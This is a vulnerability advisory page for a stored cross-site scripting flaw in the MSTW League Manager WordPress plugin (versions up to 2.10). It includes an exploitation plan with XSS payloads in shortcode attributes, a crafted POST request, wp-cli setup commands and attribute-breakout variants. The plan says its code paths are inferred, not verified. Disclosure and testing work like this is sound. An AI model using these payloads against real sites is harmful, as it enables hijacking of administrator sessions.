MSTW League Manager <= 2.10 - Authenticated (Contributor+) Stored Cross-Site Scripting
Description
The MSTW League Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.10 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.10As the source files for **MSTW League Manager 2.10** were not provided, this research plan is based on the vulnerability description, common patterns found in the MSTW plugin suite, and standard WordPress security research methodologies. Identifiers and code paths are **(inferred)** based on typical…
Show full research plan
As the source files for MSTW League Manager 2.10 were not provided, this research plan is based on the vulnerability description, common patterns found in the MSTW plugin suite, and standard WordPress security research methodologies. Identifiers and code paths are (inferred) based on typical plugin architecture and must be verified by the agent upon initial inspection of the environment.
1. Vulnerability Summary
The MSTW League Manager plugin (<= 2.10) contains a Stored Cross-Site Scripting (XSS) vulnerability. It allows authenticated users with Contributor-level permissions or higher to inject arbitrary JavaScript into pages. This occurs because the plugin fails to sufficiently sanitize user-supplied input (likely via shortcode attributes or custom post meta) before storing it in the database and fails to escape the data when rendering it on the frontend.
2. Attack Vector Analysis
- Authentication Level: Contributor (Authenticated).
- Vulnerable Component: Shortcode rendering or Custom Post Type (CPT) metadata processing.
- Endpoint:
wp-admin/post.php(via the post editor) orwp-admin/admin-ajax.php. - Payload Carrier: Shortcode attributes (e.g.,
title,league,season) or Post Meta fields associated with Leagues, Teams, or Players. - Preconditions: The attacker must be able to create or edit a post/page (standard Contributor capability) or access a specific plugin CPT editor if permissions are misconfigured.
3. Code Flow (Inferred)
- Entry Point: A Contributor creates a new post and inserts a plugin shortcode (e.g.,
[mstw-league-standings]) or edits a plugin-specific Custom Post Type (e.g.,mstw_league). - Processing:
- If via Shortcode: The rendering function is registered via
add_shortcode(). - If via Post Meta: The saving logic is handled in a
save_posthook or an AJAX handler.
- If via Shortcode: The rendering function is registered via
- Sink (Rendering): On the frontend, the plugin retrieves the stored attributes or meta values. A rendering function (e.g.,
mstw_league_standings_display()) outputs these values directly usingechoorprintfwithout applyingesc_html(),esc_attr(), orwp_kses(). - Execution: When any user (including an Administrator) views the page containing the shortcode or the specific CPT, the JavaScript payload executes in their browser context.
4. Nonce Acquisition Strategy
If the vulnerability is exploited via a shortcode in a standard WordPress post, the primary nonce required is the standard WordPress post nonce (_wpnonce), which is handled by the browser when saving a post.
If the vulnerability is in a plugin-specific settings page or AJAX handler:
- Identify the Script Variable: Search for
wp_localize_scriptin the plugin directory to find the JavaScript object containing the nonce.- Command:
grep -r "wp_localize_script" .
- Command:
- Locate the Trigger Shortcode: Find the shortcode that enqueues the plugin scripts.
- Command:
grep -r "add_shortcode" .
- Command:
- Extraction Steps:
- Create a post with the identified shortcode:
wp post create --post_type=page --post_status=publish --post_content='[inferred_shortcode_name]'. - Navigate to the page using
browser_navigate. - Extract the nonce:
browser_eval("window.mstw_league_vars?.nonce")(Replacemstw_league_varswith the actual JS object name found during grep).
- Create a post with the identified shortcode:
5. Exploitation Strategy
This strategy focuses on the most likely vector for Contributors: Shortcode Attribute Injection.
- Step 1: Discovery:
- List all registered shortcodes:
grep -r "add_shortcode" . - Inspect the rendering functions for those shortcodes. Look for
echo $atts['attribute_name']or similar unescaped outputs.
- List all registered shortcodes:
- Step 2: Payload Crafting:
- Target attribute:
title(common in MSTW shortcodes). - Payload:
[mstw-league-standings title='<script>alert(document.domain)</script>']
- Target attribute:
- Step 3: Injection:
- Use the
http_requesttool to log in as a Contributor. - Create a new post containing the payload.
- Request:
POST /wp-admin/post.php - Body:
post_title=XSS+Test&content=[mstw-league-standings+title%3D'<script>alert(1)<\/script>']&publish=Publish&post_type=post&_wpnonce=[NONCE]
- Use the
- Step 4: Execution:
- Identify the URL of the created post.
- Navigate to the URL as an Administrator to trigger the stored XSS.
6. Test Data Setup
- User Creation: Create a user with the
contributorrole.wp user create attacker attacker@example.com --role=contributor --user_pass=password123
- Plugin Setup: Ensure the plugin is active.
- Optional Content: If the shortcode requires an existing league ID to render, create a dummy league first:
wp post create --post_type=mstw_league --post_title="Test League" --post_status=publish
7. Expected Results
- The POST request to
post.phpreturns a302redirect to the post editor, indicating the content was saved. - The database table
wp_postscontains the raw<script>tag in thepost_contentfor that post ID. - When navigating to the frontend URL of the post, the browser executes the
alert(document.domain)script.
8. Verification Steps
- Database Check:
wp db query "SELECT post_content FROM wp_posts WHERE post_title='XSS Test'"- Verify the content contains the unescaped script tag.
- Frontend Rendering Check:
- Use
http_request(GET) on the post URL. - Check if the response body contains the raw payload:
grep "<script>alert(document.domain)</script>"
- Use
9. Alternative Approaches
- CPT Metadata Injection: If the plugin uses a custom interface to save League/Team details, use
grep -r "update_post_meta"to find where metadata is saved. If nocurrent_user_cancheck exists or is weak, attempt to update the metadata directly via aPOSTrequest to the saving endpoint with a payload like"><script>alert(1)</script>. - CSS Injection: If script tags are stripped but attributes are reflected in a
styletag, use:style="background-image: url('javascript:alert(1)')". - Attribute Breakout: If the payload is reflected inside an existing HTML attribute, use:
" onmouseover="alert(1)".
Summary
The MSTW League Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to 2.10 due to insufficient output escaping of shortcode attributes. Authenticated attackers with Contributor-level access can inject arbitrary scripts into posts that execute when viewed by other users.
Exploit Outline
1. Log in to the WordPress dashboard with Contributor-level credentials or higher. 2. Create a new post or edit an existing page where the plugin's shortcodes are supported. 3. Insert a plugin shortcode, such as [mstw-league-standings], and include a malicious JavaScript payload within one of its attributes (e.g., [mstw-league-standings title='<script>alert(document.domain)</script>']). 4. Publish or update the post. 5. Navigate to the published page as a different user (e.g., an Administrator). The injected script will execute in the victim's browser context.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.